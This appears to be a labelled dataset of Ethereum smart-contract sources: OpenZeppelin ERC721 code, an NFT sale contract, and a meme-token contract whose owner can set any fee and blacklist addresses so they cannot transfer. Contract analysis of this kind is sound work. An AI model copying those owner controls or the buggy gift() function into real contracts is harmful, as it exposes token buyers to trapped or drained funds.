* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/MalayaApeClub.sol
//Compiled By Eaxon.
pragma solidity >=0.7.0 <0.9.0;
contract MalayaApeClub is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public preSaleCost = 0.08 ether;
uint256 public cost = 0.08 ether;
uint256 public maxSupply = 6666;
uint256 public preSaleMaxSupply = 6000;
uint256 public maxMintAmountPresale = 3;
uint256 public maxMintAmount = 3;
uint256 public nftPerAddressLimitPresale = 100;
uint256 public nftPerAddressLimit = 100;
uint256 public preSaleDate = 1651161600;
uint256 public preSaleEndDate = 1651247999;
uint256 public publicSaleDate = 1651248000;
bool public paused = false;
bool public revealed = false;
bool public onlyWhitelisted = true;
mapping(address => bool) whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
address p1 = 0x347aC2Fb138844865fA33377c063cACd5668E1F1; // A
address p2 = 0x6E6ea9d4BA16d71D02271E4B48F9242fCf35570b; // E
address p3 = 0x1f147EdCb514647D02f05aEA621952642388b2D2; // D
address p4 = 0x33c2DE3650536a67bD225F176Bb5b0CE5b6F9478; // J2
address p5 = 0xd2c7B648897cC83820bFb6770Cad4007e9867fdC; // J
address p6 = 0x9a1dae29Aa74EdFb6c132C8825D3933938aa8a8F; // F
address p7 = 0xABD50f4803D7AB638d360b76b5aa7978f9B5cF6C; // P
address p8 = 0xf5BC68f2C29122Fb4Fa746378a679c4197968Db8; // M
constructor(
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721("Malaya Ape Club", "MAC") {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
//MODIFIERS
modifier notPaused {
require(!paused, "the contract is paused");
_;
}
modifier saleStarted {
require(block.timestamp >= preSaleDate, "Sale has not started yet");
_;
}
modifier minimumMintAmount(uint256 _mintAmount) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
_;
}
// INTERNAL
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function presaleValidations(
uint256 ownerTokenCount,
uint256 _mintAmount,
uint256 _supply
) internal {
uint256 actualCost;
block.timestamp < preSaleEndDate
? actualCost = preSaleCost
: actualCost = cost;
if (onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(
ownerTokenCount + _mintAmount <= nftPerAddressLimitPresale,
"max NFT per address exceeded for presale"
);
require(msg.value >= actualCost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmountPresale,
"max mint amount per transaction exceeded"
);
require(
supply.current() + _mintAmount <= preSaleMaxSupply,
"max NFT presale limit exceeded"
);}
else {
require(
ownerTokenCount + _mintAmount <= nftPerAddressLimitPresale,
"max NFT per address exceeded for presale"
);
require(msg.value >= actualCost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmountPresale,
"max mint amount per transaction exceeded"
);
require(
supply.current() + _mintAmount <= preSaleMaxSupply,
"max NFT presale limit exceeded"
);
}
}
function publicsaleValidations(uint256 ownerTokenCount, uint256 _mintAmount)
internal
{
require(
ownerTokenCount + _mintAmount <= nftPerAddressLimit,
"max NFT per address exceeded"
);
require(msg.value >= cost * _mintAmount, "insufficient funds");
require(
_mintAmount <= maxMintAmount,
"max mint amount per transaction exceeded"
);
}
//MINT
function mint(uint256 _mintAmount)
public
payable
notPaused
saleStarted
minimumMintAmount(_mintAmount)
{
uint256 ownerTokenCount = addressMintedBalance[msg.sender];
//Do some validations depending on which step of the sale we are in
block.timestamp < publicSaleDate
? presaleValidations(ownerTokenCount, _mintAmount, supply.current())
: publicsaleValidations(ownerTokenCount, _mintAmount);
require(supply.current() + _mintAmount <= maxSupply, "max NFT limit exceeded");
_mintLoop(msg.sender, _mintAmount);
}
function mintForOwner(uint256 _mintAmount) public onlyOwner {
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply.current() + _mintAmount <= maxSupply);
_mintLoop(msg.sender, _mintAmount);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function gift(uint256 _mintAmount, address destination) public onlyOwner {
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(supply.current() + _mintAmount <= maxSupply, "max NFT limit exceeded");
_mintLoop(msg.sender, _mintAmount);
}
//PUBLIC VIEWS
function isWhitelisted(address _user) public view returns (bool) {
return whitelistedAddresses[_user];
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return notRevealedUri;
} else {
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)
)
: "";
}
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function getCurrentCost() public view returns (uint256) {
if (block.timestamp < preSaleEndDate) {
return preSaleCost;
} else {
return cost;
}
}
//ONLY OWNER VIEWS
function getBaseURI() public view onlyOwner returns (string memory) {
return baseURI;
}
function getContractBalance() public view onlyOwner returns (uint256) {
return address(this).balance;
}
//ONLY OWNER SETTERS
function reveal(bool _state) public onlyOwner {
revealed = _state;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setNftPerAddressLimitPreSale(uint256 _limit) public onlyOwner {
nftPerAddressLimitPresale = _limit;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setPresaleCost(uint256 _newCost) public onlyOwner {
preSaleCost = _newCost;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmountPreSale(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmountPresale = _newmaxMintAmount;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setPresaleMaxSupply(uint256 _newPresaleMaxSupply) public onlyOwner {
preSaleMaxSupply = _newPresaleMaxSupply;
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function setPreSaleDate(uint256 _preSaleDate) public onlyOwner {
preSaleDate = _preSaleDate;
}
function setPreSaleEndDate(uint256 _preSaleEndDate) public onlyOwner {
preSaleEndDate = _preSaleEndDate;
}
function setPublicSaleDate(uint256 _publicSaleDate) public onlyOwner {
publicSaleDate = _publicSaleDate;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddresses[addresses[i]] = true;
}
}
function withdrawAll() public payable onlyOwner {
uint256 _p1share = address(this).balance * 43350 /100000;
uint256 _p2share = address(this).balance * 21675 /100000;
uint256 _p3share = address(this).balance * 3400 /100000;
uint256 _p4share = address(this).balance * 3400 /100000;
uint256 _p5share = address(this).balance * 1700 /100000;
uint256 _p6share = address(this).balance * 2125 /100000;
uint256 _p7share = address(this).balance * 850 /100000;
uint256 _p8share = address(this).balance * 15000 /100000;
uint256 _ownershare = address(this).balance * 8500 /100000;
require(payable(p1).send(_p1share));
require(payable(p2).send(_p2share));
require(payable(p3).send(_p3share));
require(payable(p4).send(_p4share));
require(payable(p5).send(_p5share));
require(payable(p6).send(_p6share));
require(payable(p7).send(_p7share));
require(payable(p8).send(_p8share));
require(payable(msg.sender).send(_ownershare));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/akatsukinuportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract AKATSUKINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AKATSUKINU";
string private constant _symbol = "AKATSUKINU";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(15);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/*
SPDX-License-Identifier: Unlicensed
https://t.me/tinderinuportal
The answer is simple, we value your privacy much more than the disrespectful Tinder.
Have you ever realised that you are not lured into falling in love with a girl or guy but also lured into giving away all your information including locations,
interests and jobs, pictures, music tastes and most importantly who you dated to one single app.
Tinder knows your sexual preference, your fear and your weakness even more than yourself.
Can you imagine what will happen if this treasure trove of data gets hacked,
is made public or simply bought by another company? There is no difference between being seen naked in public or can be even worse.
That’s why we present you the Tinder Inu, A on chain dating app service.
The only information we take will be your wallet address and that’s all.
We won’t know your sexual preference, your favourite positon or your darkest secret.
Secure and confidential. Join us if you want to see a more secure and privacy-respecting society.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
